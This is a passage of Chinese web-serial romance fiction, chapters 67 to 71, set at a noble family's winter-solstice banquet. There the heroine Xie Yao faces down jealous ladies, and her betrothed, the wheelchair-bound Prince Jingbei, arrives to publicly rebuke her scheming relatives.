终于,孙姨娘迎上前,挤出笑容,向他人介绍着谢窈。 一阵窃窃私语后,正厅恢复了喧闹。 谢窈却已经入座,神情悠然。 不远处,谢枝死死地盯着她,快绞烂了手里的帕子。 平日里谢窈穿的土气朴素,她还能说与她各有千秋,可是今天,见到那些看呆了众人,她何尝不明白别人眼里她和谢窈的差距? 安平侯夫人的妹妹江念惜,也盯着谢窈,眼中充满敌意。 今日,她本是这场冬至宴最耀眼的女子,论美貌,她自认为不输谢枝,论身世,她是江家女,她姐姐是安和县主,嫁给了安平侯,她以后也不一定输于姐姐。 可是现在,谢窈一出现,容貌堪称国色,打扮还那么华贵,且待嫁靖北王妃的身份,根本不是她一个江家女能比的! 那些原本看她的青年才俊,如今,眼睛落在谢窈身上,抠都抠不下来,他们是不知道谢窈要嫁人了吗! 孙姨娘忙了半天,身子发酸,被刘嬷嬷扶下去歇了一会儿。 走的时候,她低声道:“准备好了吗?” 刘嬷嬷悄悄点头:“姨娘放心,到时候有老奴亲自去办,一定万无一失。” 谢窈端起一盏茶,任由无数目光注视,不紧不慢地喝着。 正厅内,江念惜气不过,看到她喝茶的样子,冷哼道:“这上好的普洱,被当成牛饮。” 谢窈把茶一饮而尽。 其他贵女看出江念惜不喜谢二小姐,也跟着阴阳怪气。 “谢二小姐不知道吧,这茶啊,要慢斟轻呷,才不失大家闺秀风范。” “你看江三小姐,一举一动,端庄雅致,不愧是江老丞相的孙女。” “穿的再贵重又如何,也比不上江三小姐腹有诗书气自华。” 江念惜又盯着谢窈的手,虽然白皙,但骨节分明,而且还很粗糙。 她忽然找到了自己强的地方:“这是什么手,又粗又糙。” 谢枝柔声道:“念惜妹妹有所不知,二妹妹自幼在北境军中长大,平时辛苦劳作,手当然没有你细腻。” 谢窈眼神一凛。 在谢枝头皮发麻的目光中,她缓缓开口,问出熟悉的那句:“大姐姐,你瞧不起我们北境边军?瞧不起长公主的健妇营?还瞧不起长公主?” 谢枝嘴角抽搐,轻声细语:“二妹妹为何又是这句话,姐姐只是在替你解释。” 她挤出几分笑容,又劝说江念惜:“念惜妹妹,二妹妹她不是故意不向你行礼的,她在边境待久了,性情直爽,不知京中规矩,还望你多担待。” 她这一提醒,江念惜才发现,其他小姐妹见到她,哪个不喊她一声江三小姐,谢窈却目中无人,她都走到面前了,也纹丝不动。 江念惜抱着手臂,眼神鄙夷:“枝姐姐为何要替她说话,这种乡下女子,如果不是文昌伯的女儿,根本不配出现在这里。” 见谢窈仍旧不语,她语气尖酸:“怎么,见到本姑娘,你不起身行礼?” 谢窈抬起眸子:“江小姐是公主?” “不是,那又如何!” “那你有军职,还是官身?” “没有怎么了,我父亲是户部尚书,我祖父是丞相,我姐姐是县主,当今安平侯夫人——” 谢窈轻笑:“这和你,又有什么关系?” 她声声质问,清晰铿锵,一时之间,江念惜脸色煞白。 “你!你敢说本姑娘是个靠祖父靠父亲姐姐的废物!” 江念惜何曾受过这样的讥讽,气得拿起一个茶盏就砸过去。 “废物说谁?”谢窈轻飘飘地歪头,茶盏碎到地上。 “废物说你!”江念惜大叫,又抄起茶壶。 谢窈噗嗤笑了。 其他贵女们反应过来,也努力憋着笑。 “住手!” 江念惜往旁边一看,见自己阿姐安平侯夫人不知何时走近,衣角被茶水浸湿,脸色铁青。 第67章 伯夫人示好,一石二鸟 安平侯夫人穿过人群走来,身后站着韩思雪。 她原本看见谢窈,就想前来打招呼,只不过见到了闺中密友。 刚要询问她几句谢家的事,还没说上话,就听到妹妹这边的喧哗。 她今天带着妹妹来冬至宴,目的就是在谢宴和谢成柏中间挑选妹婿。 选谢家,不是因为文昌伯官位多高,名声多好,而是因为伯夫人许氏。 别人不清楚,安平侯夫人却知道,许氏身后的许家,是富可敌国的商贾。 她年少时,曾见过许家嫁女,那一日的盛况,比起她嫁给安平侯时,还要热烈数倍,她难忘至今。 就说如今这冬至宴,寻常官宦人家,办得起吗? 谢窈看见安平侯夫人和韩思雪,终于站起身,客气地见礼:“见过侯夫人,韩姐姐。” 韩姐姐这个称呼,让安平侯夫人愣了一下,却听韩思雪温和应声,还对她亲昵地点了点头。 能和思雪这般熟络,证明谢家二小姐,绝不是传言中那般粗鄙无礼。 她仔细地打量着谢窈,望着这身石榴红的直裾,还有发间玉簪,暗暗咂舌。 谢二小姐头上那枚玉簪,看似普通,但用料在皇宫也珍稀少见。 她的衣裙,是京中最大的衣铺织仙坊做的,这个铺子的东西就一个字——贵! 江念惜放下茶壶,娇声告状:“阿姐,这个谢窈见人下菜碟,不跟我行礼,还出言讽刺,说我是靠江家和你。” “你难道,不是靠江家和我?” 安平侯夫人眼神严厉,冷冷地反问。 要是以后和谢家结亲,那谢窈就是他们江家的亲戚,何况,谢窈是靖北王妃,于情于理,也不能是她给江念惜行礼。 江念惜一噎,脸颊涨红,没想到姐姐不站在自己这边。 安平侯夫人摇了摇头,目光落在谢枝身上,很快就明白了一切。 三妹妹真是愚蠢,居然被一个庶女利用。 不过也对,她自己都只是个庶女。 江念惜眼眶微红,又看了看谢枝。 “念惜妹妹别生气,都是我的错。”谢枝低着头,小声说道。 安平侯夫人:“的确是你的错,该罚。” 江念惜替谢枝反驳:“枝姐姐是谢窈的姐姐,她却对姐姐毫无半点敬意,真一点规矩都没有,阿姐为什么不惩罚她。” 谢枝仿佛很是紧张,不再说话了。 这样矫揉造作的姿态,让安平侯夫人无比厌恶。 如果说撺掇妹妹针对谢窈,是坏;那在她面前还耍手段,让妹妹在前面当箭靶,就是把别人当成傻子了。 谢窈睨视着谢枝,开口:“我倒是可以向大姐姐行礼,以靖北王妃的身份,大姐姐需要吗?” 谢枝连忙摇头:“二妹妹折煞我了,我怎敢受你的礼。” 谢窈嗤笑一声。 即便箫熠之没有出现,他的身份,也和出现了一样好用。 安平侯夫人瞪了妹妹一眼,恨铁不成钢地低声斥责:“说你蠢,你是真蠢。” “阿姐,我——” “过来我这儿,宴席没结束前,别再走动了。” 江念惜犹豫了片刻,还是选择听她姐姐的话,走到安平侯夫人身后。 谢枝攥紧拳头,安平侯夫人却看都不看她。 这种心思不纯的庶女,多看一眼,都是脏自己的眼睛。 但以后毕竟还可能是亲戚,她不好发落。 听到侯夫人说要惩罚自己,谢枝一慌,可是,见她根本不看自己,谢枝心中却更恨了。 安平侯夫人取下手腕的玉镯,脸上挂起温婉和煦的笑容,来到谢窈面前。 “念惜素来顽皮,她说的话,你不要放在心上,我看妹妹手腕略素,这镯子不算贵重,却是我的一番心意,今日与妹妹一见如故,此物就当是见面礼了。” 谢窈没有推脱,不卑不亢地道谢:“多谢侯夫人。” 她清楚,安平侯夫人这个人,很聪明,也极识时务。 上一世,自己在冬至宴上被一群贵女嘲讽,她虽然没有帮自己,但及时出面制止,防止了事态扩大。 安平侯夫人见谢窈收下礼物,脸上的笑容更真了一些,坐回自己位置上。 她何尝不知道妹妹受了谢家庶女的礼物,又低声斥道:“你看不出那庶女是在利用你?真为了几幅字画,就拿别人当亲姐妹了?” “可是,谢枝是京中才女,她母亲孙姨娘,也执掌着伯府后宅……” “你知不知道谢窈的外祖父许家,那才是真正的富可敌国,丢了西瓜捡芝麻的蠢货!” 江念惜不敢再反驳,她不知道啊,她甚至没听说过许家。 “低调些,去和文昌伯嫡子与那谢成柏打声招呼,这二人,你先自己选。” “是。” 江念惜回头一望,却面露尴尬:“阿姐,那位小伯爷,已经离开宴席了。” 谢宴见到谢窈,让别人知道他姐姐多么美丽之后,就扬眉吐气地溜走了。 “……那就去看看谢成柏,还要我教你吗!” 江念惜退下,安平侯夫人终于摆脱了这个愚蠢妹妹,拉着韩思雪,两人低声私语。 在她面前,韩思雪没什么好隐瞒的,索性将事情前因后果,全都说出来。 安平侯夫人的心,沉了下去。 早就听说了谢成榆的事,如今亲耳从昔日好友口中证实,她望着谢家人的眼神,慢慢没有了热络。 虽然许家巨富,但是这个谢家,是个虎狼窝啊。 宴席上,经过刚才的插曲,又重新热闹起来。 伯府的丫鬟们端着青玉盏,依次放到一张张桌案上。 盏里盛着的,是香甜软糯的桂花团子。 谢窈拿起一盏团子,她的姿态很随意,没有任何规矩,但因为过于明媚的容貌,做什么,都有种恣肆从容的气韵。 她的面前,围满了之前跟在江念惜身后狐假虎威,含沙射影的京城贵女。 “早就听说文昌伯教女有方,今日一见,才知传闻不假,谢二小姐如此美貌动人,就像画里走出的仙女,让我等自惭形秽。” “王妃这身衣裳即华贵,又大方,一看就是织仙坊定做的,那家铺子,黄金百两也只能做个披肩吧,王妃真是阔绰。” “王妃的发髻好漂亮,听说王妃你还会武功,真是巾帼不让须眉……” 见安平侯夫人送出手镯,这些贵女都反应过来。 谢窈可是靖北王妃,还有今日这身打扮,冬至宴上有比她更尊贵的女子吗? 即便她们有的人心里仍旧看不起谢窈,但表面上,都是各种阿谀奉承。 她们的话,谢窈左耳进,右耳出,并不回应。 前世冬至宴上,同样是这伙人和江念惜,因为谢枝撺掇,她们对她大肆嘲讽,说她是乡野村妇,陆慎言是被迫娶她。 谢枝却身穿母亲原本给她准备的一袭华衣,被吹捧成了艳压群芳。 只有安平侯夫人冷静,发现谢枝利用妹妹江念惜,当众对谢枝冷脸,也因此没让妹妹和谢家结亲。 如今,身穿华服,彰显了许家财力的人是她。 安平侯夫人的示好,让局势完全逆转。 这是阳谋。 谢窈看见韩思雪和安平侯夫人说悄悄话,不紧不慢地吃着团子。 上一世,谢成柏没有娶到江家女。 这次,他还是没戏。 谢枝入宫失败,今天却跳出来,或许想借江念惜嫁给江家子弟,毕竟江念惜还有几个哥哥弟弟,但现在,谢枝被安平侯夫人厌恶,也不可能了。 解决了谢成榆,帮韩思雪解脱,既让谢家二房一家算计落空,也绝了谢枝攀诬江家的机会。 这一计,叫做一石二鸟。 谢窈的目光,落到和江念惜在角落里侃侃而谈的谢成柏身上。 接下来,轮到他了。 谢窈身边,听到一声声恭敬的王妃,谢枝心里越发不是滋味,眼底的恨意几乎隐藏不住。 她已经不能再进宫,在江念惜面前,各种恭维,伏低做小,唯一的指望,就是今天冬至宴上艳压群芳,引那些世家大族贵公子们吹捧青睐。 可现在,有谢窈在,谁还会在意她! 就因为谢窈是靖北王妃,连安平侯夫人,都向她示好。 明明这个王妃之位,是她不想嫁,让给谢窈的,凭什么现在,谢窈却拿王妃身份耀武扬威! 第68章 王爷相貌丑陋,她委屈了? 想到这里,谢枝的心中越发嫉恨,甚至,还泛起几分酸意。 是谢窈,占了自己靖北王妃的名额! 她努力告诉自己:嫁给靖北王,没什么好羡慕的。 “二妹妹这般美貌,配上靖北王,真是天造地设的一对儿。”谢枝咬着牙,说道。 这句话,如同打开了这群贵女们的话匣子。 “枝大小姐见过靖北王?哦对,王爷去你们谢家宣过旨。” “听说靖北王青面獠牙,杀人如麻,我小时候,母亲还吓唬我,说靖北王吃人呢。” “今日都是姐妹,枝姐姐说说嘛,靖北王究竟相貌如何?” 谢枝故意露出可怜谢窈的神情。 像是告诉别人,靖北王确实面容丑陋。 她恨不得拉住谢窈的手,语重心长:“二妹妹在外头吃了那么多苦,如今一回京,却定下这门亲事,我真是心疼妹妹。” 谢枝说着,眼底却闪过快意。 她好像,看见了谢窈嫁到靖北王府的惨状。 靖北王权势再高,又如何,还不是一个残废。 现在,还能靠扶持皇帝登基的功劳,安稳地当王爷。 日子久了呢? 他已经不能领兵打仗,对大燕,还有什么用处? 一个废人,说不定,谢窈嫁过去,连孩子都不会有。 看到她的表情,其他贵女们看向谢窈的眼神,也复杂起来。 “二小姐不要难过,王爷,毕竟是大燕唯一的王爷。” “唉,真是天妒英才,王爷年纪轻轻,居然……” “说起来,我去年在长公主回京的宫宴上,还见过王爷一面,铁面如冰,着实让人害怕。” “你们知道王爷的腿到底是怎么断的嘛,我听说,两年前,王爷是被人从岐江抬回王府的……” 这些贵女们,有的在安慰谢窈,有的则提起了靖北王的伤。 她们虽然不敢细细讨论,但也好奇。 “咳咳,”谢成柏忽然跨步到女厅,背对着屏风,“诸位姑娘这就不知道了吧,要我说句大不敬的实话,靖北王断腿,都怪他自己。” 众贵女一下子露出惊讶神情:“谢公子这话是什么意思?” 连江三小姐,都好奇地看着他,等待他继续说下去。 “谢公子,难道知道什么内幕?”男厅那边也有人问。 谢成柏心中得意,挺了挺胸膛。 反正谢窈是靖北王妃,他家是靖北王的亲家,靖北王断腿,是人尽皆知的事,只是实话实说,算不上犯忌讳。 他说道:“我曾听兄长说起,两年前,西戎三王子率使团来京商议和谈,却暗中掳走陛下的胜月公主,当做人质威胁。” 皇帝登基才五年,并未立后,唯一的子嗣,就是宫里颖妃生下的胜月小公主了。 两年前,胜月公主被掳,靖北王率兵追击,双方交战后,靖北王双腿残疾。 这事众人都听说过,但没人知道那一战的具体细节。 “其实,当时王爷和京畿营奉命追击,很快就解救了公主,是王爷自己,非要斩草除根,轻敌冒失,从京城追到岐江,才中了西戎人埋伏。” 谢成柏盯着谢窈,故意大声说道。 “原来是这样。” “怪不得朝廷从不谈论此事。” “敢犯我大燕,斩草必除根,王爷确实冷酷残……咳咳,杀伐果断。” 一些人想说靖北王残暴嗜杀,但顾忌到谢窈在,没敢直接说出口。 谢枝攥紧的拳头,忽然,松懈了几分。 靖北王的确是个冷血无情的男人,今天,伯府明明给王府递了帖子,但萧家一个人都没来。 这说明,靖北王,根本不在乎谢家这个亲家。 也不在乎谢窈这个王妃。 嫁给靖北王,就是条死路。 谢窈拿起勺子,舀了一枚团子放入口中,眼神如常。 两年前岐江一战,发生在西戎与燕国边境,即便她是北境的少将军,也不清楚具体情况。 但她可以确定的是,靖北王打仗的本事,不输于自己和大将军。 谢成柏说的轻敌,不可能发生。 何况,岐江一战的军报,她记得清清楚楚。 靖北王率领的将士,只有八百骑兵。 而岐山埋伏的西戎人,足足五千! 这一战,除了为首的西戎三王子,瞎了只眼睛,没了条胳膊逃走,剩下的西戎人,被燕军全歼! 大将军还曾评价过,靖北王,此战确实杀伐过盛。 谢成柏还在侃侃而谈,眼神却盯着谢窈。 他故意在众人面前卖弄自己见识,暗讽箫熠之曾经轻敌受伤,就是想让谢窈也附和两句。 或者,说靖北王残暴无情。 等宴会上的事传出去,王爷就会知道,自己的新婚王妃,其实对他又厌又怕。 “唉,在我心里,我大燕战神只有大将军,王爷嘛,终究还是年轻。”他又摇头道。 谢窈唇角轻扬:“是吗。” 谢成柏听出她语气中的讥讽,冷哼了一声。 谢枝站出来,像是在打圆场:“堂弟别说这些我们女儿家听不懂的话了,你说王爷不好,不是存心让二妹妹难过吗。” 她咬着唇,眼神怜悯又关心。 如果不是知道谢窈会武功,她怕自己被揍,她真想拉住谢窈的手。 “二妹妹,真是可惜,苦了你了。” “还有七天,就是你的大婚之喜,你有什么委屈,今日大可以跟我们诉说一番。” 谢窈面对谢成柏不为所动,她只能换个说法,引导她说出厌恶王爷的话。 见谢窈不语,她又道:“二妹妹怎么不说话?难道,是被我说中了,心里委屈要嫁给身有残疾的王爷吗。” 谢窈深深地看着她,眼神,像在看跳梁小丑。 谢枝没有发现,从谢成柏说完那声王爷终究年轻之后,就没人说话了吗。 周遭,忽然格外安静。 “委屈?” 她终于开口,淡淡地环视众人。 “王爷相貌英俊,权势滔天,嫁给他,我有什么委屈?” 谢成柏并没有感觉到异样,听到这话,啧道:“堂姐身为女子,怎能这样不知羞耻,居然拿夫君的容貌说嘴。” 谢枝却没再暗示靖北王面容丑陋,反而一脸关心:“王爷是很好,可英俊也不能当饭吃,他再好,终究是行动不便,以后要二妹妹辛苦照顾了。” 谢窈道:“谁说的,你不能,是因为你眼神不行,我看见王爷的容貌,就可以多下两碗饭。” “倒是看见你,有些倒胃口。” “王妃,真是谬赞了。” 箫熠之的声音,从屏风后方传来。 第69章 当众喂王爷,问罪堂弟! 两侧的屏风打开,露出箫熠之坐在轮椅上的身影。 谁说英俊不能当饭吃? 谢窈看着他,感觉自己碗里的团子,都更甜了一些。 今日的王爷,穿的也很好看。 一身墨色绣朱红祥纹直裰,墨发束着乌金冠,魏然不驯,华贵非凡。 那双浓墨似的桃花眸含着几分戏谑,唇角噙着若有若无的笑意,像是在说:想不到本王还是来了吧。 他的脸色,比之前好很多。 不知为何,谢窈看见箫熠之,想到了追墨那只小母鸡。 ——明明浑身羽毛漆黑,森然霸气,但头顶红彤彤的鸡冠,扇动翅膀,整日花枝招展。 给靖北王推轮椅的,是白术。 身侧抱着伞簦的,是白蔹。 推开屏风的,是四个亲卫壮汉。 门外守着的家丁,不知何时,也已经换成一队靖北王的披甲亲卫。 连原本招待客人的文昌伯和谢家二爷,都恭敬地侯在他身后,大气不敢喘。 靖北王已经来老半天了,特意没让任何人行礼或者通传。 文昌伯在门口迎接他的时候说,他们以后是一家人,伯府就是他的家。 于是,箫熠之就把伯府当成自己家一样,带着亲卫从正门直入,来到冬至宴,被推进正厅。 走到哪里,哪里都一片安静。 倒是和他在王府差不多。 只是,因为他坐在轮椅上,众人又在听谢成柏吹嘘见识,所以女厅的贵女们,没有注意到不对。 殊不知男厅那边,早已一片死寂。 “怎么,没想到本王会来?” 见谢窈盯着自己看,箫熠之不动声色地挺了挺原本就挺拔的背脊,笑意加深,目光落在她身上。 她的王妃今天穿得贵气张扬,更有几分端庄,着实美得惊人。 让箫熠之不由想像几日后,谢窈凤冠霞帔的模样,又该多美。 “王爷来了,我自然不胜欢喜。” 谢窈莞尔一笑,抬起手中汤匙,里面盛着一枚圆滚滚的桂花团子,示意:“吃吗?” 箫熠之看出她喜欢吃,摇头道:“腻。” 谢二小姐仍旧维持着举汤匙的动作。 看透一切的白术,默默把王爷推到准王妃面前。 他已经是个成熟的贴身侍卫了,能看出王爷表面说腻,其实是想吃。 旁边的白蔹就什么也没看出来,甚至想劝王爷别吃,那团子是糯米的,不好克化,还是让胃口好的谢二小姐吃吧。 但他没开口。 谢窈把汤匙前伸,王爷微低头,叼住了团子,眉心蹙了蹙,像是被这甜腻味道噎住了。 不过,他还是仰起头,咽了下去。 “王妃喂,自然是要吃的。”他说道,淡绯色的唇张合,染上一抹水润。 这次,比前几日在晚香院用膳时,两人靠的还近。 他闻不到谢窈身上的药味了,心想她的伤应当大好,却看见她捏着汤匙的手,掌心隐隐有些许疤痕,指腹则有常年拉弓射箭才会出现的茧子。 仅仅是在健妇营做普通兵卒,不会有这样的痕迹。 他垂下眸,仍旧什么都不问,毫不在意地咀嚼。 白术白蔹兄弟俩同时感觉,有什么甜糊糊的东西被强塞进嘴里。 尤其是白术。 王爷你平时多警惕多冷酷的啊,王爷你看不见吗,准王妃手上的痕迹,绝不仅仅是习武从军能有的啊。 但他也没开口。 所有人,都震惊地望着谢二小姐喂王爷这一幕。 这个脸上带着笑意,低头吃谢二小姐汤匙中团子的男人,是靖北王? 究竟谁说靖北王相貌丑陋? 两年来,靖北王连皇帝的宫宴都极少露面,今天,居然出现在冬至宴? 究竟谁说萧家不在意谢窈这个待嫁王妃的? 其实有些人,从前见过靖北王。 但那时,王爷就像是一座沉默的火山,她们光是害怕就够了,哪敢抬头看。 今天终于看见王爷的脸,没想到,竟是如此俊美温和! 之前还幸灾乐祸,怜悯谢二小姐嫁给残疾王爷的众人,全都变了想法。 一些人的眼神,多了几分嫉妒。 不过,因为靖北王脸上一直带着笑容,他来时涌进那股冰冷压抑的寒气,渐渐被厅内的炭火融化。 宴席重新变得温暖,众人也放松下来。 安平侯夫人上前,笑盈盈地说:“见过王爷,王爷冒雪前来,真是和谢二小姐夫妻伉俪情深。” 靖北王微微颔首,以作回应。 文昌伯和谢家二爷,见到他如此反应,松了一口气。 看来今天,靖北王的心情很不错。 两人对视,都发现对方眼里的庆幸。 箫熠之能在谢家的冬至宴上露面,这可是天大的好事。 明日,全京城都会知道,连宫宴都不去的王爷,却给他们谢家面子,来到了谢家冬至宴。 谁还会在意谢家,和兵部侍郎韩家断了交情的事? 至于皇上的苛责,皇上不是也赏赐了谢窈吗,这证明谢家不是真被厌弃了。 箫熠之回味着那个甜糯的团子,脸上的笑容,始终没有消失。 正当所有人都以为,靖北王出现的风波,已经结束了的时候,他指腹敲动着轮椅扶手,幽幽开口: “方才有人说,本王的腿,让王妃受委屈了?” 霎时间,刚要重新温暖火热的冬至宴,再次变回冰窟! 谢枝面色骤变,手里的帕子落在地上。 她强行挤出几分笑容:“王爷误会了,臣女只是——” “误会?”箫熠之打断她的话,目光扫过躲在人群后面的谢成柏,眼神锐利,“刚才还有人说,本王两年前是轻敌被埋伏。” 谢成柏的脸顿时煞白,扑通跪下,语无伦次:“成柏,我,王爷,我也只是听旁人说……” “旁人是谁?”箫熠之平淡地问。 在外人看来,他好像并没有动气,可不知为何,谢成柏已经抖若筛糠。 只有谢成柏自己才感觉得到,随着靖北王说出“轻敌被埋伏”五个字,他身后那些亲卫,侍卫,他们所有人,都像是化成一座座即将爆发的火山,压抑着煞气,充满杀意地看着他。 他就像被一群虎豹盯着,能不害怕吗。 “是,是我听我大哥说的!”谢成柏咬了咬牙,急中生智。 他将事情推到谢成榆身上,反正大哥还昏迷着,靖北王也没办法求证。 话音未落,两个谢家二房院子里留守的下人,忽然闯进正厅,像是有什么要事禀报。 这本不合时宜,谢家二爷连忙示意他们退下。 两人犹豫着,就听跟在他们身后的七两大喊:“二爷,伯爷,大喜啊,成榆少爷醒过来啦!” 一片寂静之中,靖北王笑着,缓缓地说:“哦,既然醒了,那就让他……继续睡吧。” 第70章 婚事告吹,王爷无差别攻击 七两喊完谢成榆醒了,还没等人看清,就银鱼入水似的钻进人群里,功成身退。 韩思雪听到这话,眼神漠然。 说不上是高兴,因为人就是她捅的。 也说不上难过,因为人没死,证明她也不会有事,就要解脱了。 谢家二爷盯着七两的背影,意识到自己被算计了。 来不及为大儿子苏醒高兴,“啪叽”,他和二儿子一起,跪到地上,狠拽谢成柏的衣角。 谢成柏好像懂了什么,再次把锅推到谢成榆身上:“王爷,是大哥说您轻敌,都怪成榆误信了大哥的话,求您赎罪。” “别人说什么,你就信什么,谢家人,居然蠢笨至此。” 谢家二爷以头抵地,恭维地说:“我等皆知,王爷领兵未尝败绩,绝非情敌之辈,是小儿蠢笨,一时口误。他还小,还是个孩子,您不要和他一般计较。” 靖北王反问:“孩子,都要议亲的孩子?” 安平侯夫人终于抓住机会,冲上前,白了谢成柏一眼。 “都说文昌伯是礼部侍郎,文昌伯府,是京城最有修养,最有礼教的家族,没想到这二房……啧啧,我今日算是见识到了。”她直接和谢家二房划清界限。 谢成柏连自己的大哥都拿来甩锅,此子虽年纪尚小,却心狠手辣,绝非良配。 她要是还想让妹妹嫁给谢成柏,那可真是瞎了眼。 既然王爷也看不上谢家二房,她还不如第一个跳出来,赶紧澄清,趁机踩二房两脚,卖王爷个交情。 至于妹妹的婚事,还有谢宴不是? 二房夫人还想说什么,但安平侯夫人,却故意别开了头,不看对方。 谢成柏猛地看向江念惜,面露不甘。 江三小姐和自己姐姐一样,眼神游离。 低头的谢二爷,也在心里发出一声叹息。 煮熟的鸭子,就这么飞了。 见二房谋划许久的事告吹,文昌伯心中暗爽,忍笑道:“王爷说得对,伯夫人说得好,是二弟教子无方,王爷放心,本伯与二弟不同,一定管教好自己的子女。” 下一刻,箫熠之转向谢枝。 语气,更加寒冷。 “本王与谢二小姐,是皇上赐婚,谢二小姐是以后的靖北王妃,你说王妃委屈,是觉得皇上的旨意不妥,还是觉得本王,配不上她?” 谢枝脸色一白,她以为训斥了谢成柏,就会放过自己,没想到,王爷根本没有善罢甘休。 “王爷恕罪,臣女绝无此意,臣女只是……只是关心二妹妹。”谢枝跪下道。 “是吗,关心地说心疼王妃,关心地让王妃说出嫌弃本王的话?难不成,你是想撺掇王妃抗旨?你们伯府想抗旨?” 这句话一出,周围不仅仅是说谢枝评判靖北王婚事的僭越之举,还把整个文昌伯府都拖下水。 周围的贵妇贵女们,也神情各异,窃窃私语起来。 谢窈就差给靖北王鼓掌了。 她只是开了个头,王爷,真是贴心。 字字句句,刀刀见血,全是她想要的效果。 文昌伯跪下,一脸惊惧。 刚才不是还在说谢成柏吗,怎么又说上谢枝了? 他本来还在高兴靖北王出现在谢家,是给谢家抬轿撑腰。 但是现在,他巴不得箫熠之没有来。 如果不来,他能说王爷是不喜参加宴席。 来了,却把整个伯府训斥一番,明摆着是告诉所有人,靖北王根本不在乎所谓的亲家,那他辛辛苦苦把谢窈叫回京城,代替谢枝嫁给靖北王,岂不是对谢家毫无作用。 安平侯夫人头上开始冒汗。 原来靖北王不是不喜谢家二房,而是不喜谢家全族! 江念惜张了张口,还想替文昌伯求情。 在她心里,她就算嫁不成谢成柏,也还有谢宴,以后伯府和她是一家人。 “你快闭嘴!”没等妹妹开口,安平侯夫人一把拉住她,厉声制止。 这满池浑水,就算伯夫人许氏背后是许家,就算谢二小姐还正常,她也不想沾边了! “王爷,我身有不适,先行告退了。” “妹妹也身体不适,王爷,伯爷,告辞。” 安平侯夫人僵硬地挤出笑容,快步离场,只是在路过韩思雪的时候,给自己昔日的好姐妹一个“我懂了”的眼神。 “侯夫人,你,你这就走了——”文昌伯眼睁睁看着自己儿子的婚事也吹了,心中万分憋屈。 谢二爷的心情,却然好了一些。 “求王爷明鉴,下官对陛下一片忠心,绝不敢抗旨。”文昌伯闷声道。 “不敢?”箫熠之冷笑,“本王看你的庶女腹诽陛下,妄议本王,可是敢得很啊,难道不是你教导的。” 这时,一身三品诰命翟衣的谢老夫人,出现在门口,正好拦住了要走的安平侯夫人。 “老身见过王爷,见过侯夫人。” “老夫人不必多礼。”安平侯夫人停下脚步。 谢老夫人是长辈,于情于理,她也不能跑得太快。 “咳咳、咳咳咳。”谢老夫人一边咳嗽,一边杵着拐杖,仿佛随时会晕倒,颤巍巍地走进来。 箫熠之余光瞥谢窈,见她仍旧端坐,气定神闲,像是没看见自己祖母。 “枝枝口无遮拦,是因为她与二丫头姐妹情深,关心则乱,绝非伯爷教导,还望王爷看在老身的份上,不要同她计较,我们伯府,也万万不敢存抗旨的心思。”谢老夫人摆出长辈语气。 箫熠之随手拿起白术的佩刀,刀柄,敲了敲自己的轮椅扶手,发出脆响。 “谢老夫人这是在跟本王,倚老卖老吗?” 谢老夫人没想到靖北王这么说,瞳孔震动:“老身……” 箫熠之又道:“您一把年纪,这么辛苦来见本王,是不是还要本王站起来,向您行礼啊?” 谢老夫人:“老身……” 箫熠之指着自己双腿,嗤笑一声:“本王两条腿都废了,你杵着拐杖,在本王面前装什么瘸子呢!” 谢老夫人:“老身……” 她脸色惨白如纸,“啪”地扔下拐杖,和儿子文昌伯跪成一排。 安平侯夫人拉着江三小姐,默默退至众人身后的角落,不敢动。 她,她怕她再动一下,也被靖北王无差别攻击。 看着跪地的谢老夫人,靖北王把刀还给白术,又一字一顿地反问:“老夫人是本王长辈,却莫名其妙给本王下跪,是要折本王的寿?” 第71章 给王妃面子,给王爷推轮椅 谢老夫人原本故意身穿翟衣,装成病恹恹的样子,想靖北王给她个面子,平息此事。 再怎么说,她也是个长辈,靖北王对她不敬,传出去,别人会说他目无尊长。 连长辈体面都不顾,岂不是落得个骄横张狂的名声? 但她却忘了,靖北王,是坐在轮椅上的。 装病?装惨? 有他严重吗? 她更忘了,御史台言官参靖北王骄横张狂的折子,都堆成了山,但箫熠之没被皇上斥责半句。 靖北王要是在乎名声的话,今日就不会出现。 谢窈终于起身,来到谢老夫人面前:“祖母快起来吧,别丢人了。” 她眼底闪过一丝精光。 靖北王的笑容,忽然又温和起来:“还是王妃在乎本王。” 谢老夫人疑惑这句话是什么意思,正要推脱几句,谢窈却直接弯腰,双手放在她肩膀处,就像薅萝卜一样,把她从地上……薅了起来! “王爷都说了,您下跪是折他的寿,您还跪着,是要刺杀王爷?”她问道。 谢老夫人:“啊?我?” 这怎么就涉及到刺杀王爷了?! 然而,听到谢二小姐这话,白蔹却第一时间捧场:“什么,有刺客?保护王爷!” 霎时间,王府亲卫齐刷刷拔刀,同时目光警惕地盯着谢老夫人。 谢老夫人被谢窈拎着衣领,战战兢兢地坐到旁边,面目呆滞。 早知道,就不来了。 靖北王这才低头,疑惑地问:“文昌伯怎么也跪着呢?” 文昌伯:“下官,下官教女无方。” “伯爷不是说了吗,你和本王是一家人,哪有一家人跪来跪去的道理?” 文昌伯只好爬起来,整了整仪表。 谢成柏也想顺势起来,就听靖北王又说:“伯府的规矩,确实荒唐,才生出这样一对没有家教的子女。” 谢成柏腿一软,又倒下去,把头抵在地上。 靖北王的语调显出几分骄傲:“幸好本王的王妃养在外面,没有沾染上府里的坏习气,伯爷,你确实教女无方,治家不严啊。” 文昌伯不敢反驳,乖乖认错:“下官知罪。” 箫熠之再换上一副为他们好的语气:“敢对王妃嚼舌根,敢造谣朝廷战事,今日幸亏是伯府的冬至宴,若是换了宫宴,就算是本王,也保不了你们,到时候,才是真正的大祸临头。” 一串儿的谢家人,除了谢窈,全都排列整齐,听王爷训话。 听到最后半句,文昌伯彻底麻木了,心道:啊,靖北王是在保他们? 大祸临头,祸从何来? 祸不就是靖北王带来的吗? 但他只能强忍愤恨,讪讪地回:“多谢王爷教导我谢家,下官必定重持家教门风,不让这样的事再发生。” 箫熠之闭上眼,终于说:“本王,给的是王妃的面子,而不是你们谢家。” 一众谢家人,都面如死灰。 靖北王这句话是特意说明:他来,仅仅是因为谢窈,他没有问罪计较,也是给谢窈面子。 其中谢成柏和谢枝的脸色,已经惨白如纸。 明日,全京城都会知道,他们二人就是被王爷说的,文昌伯府那对没家教的子女。 谁家会把女儿嫁给谢成柏,哪个有头有脸的门户,会娶谢枝? 文昌伯盯着庶女,暗自摇头。 不中用的。 说不定嫡子谢宴日后的亲事,都会受到影响。 “走了,无趣。”箫熠之瞥见谢成柏眼底的不甘愤恨,淡声道。 他身后的亲卫收了刀。 众人齐声道:“恭送王爷。” 箫熠之却望向谢窈,声音微低:“王妃不来送送本王?” 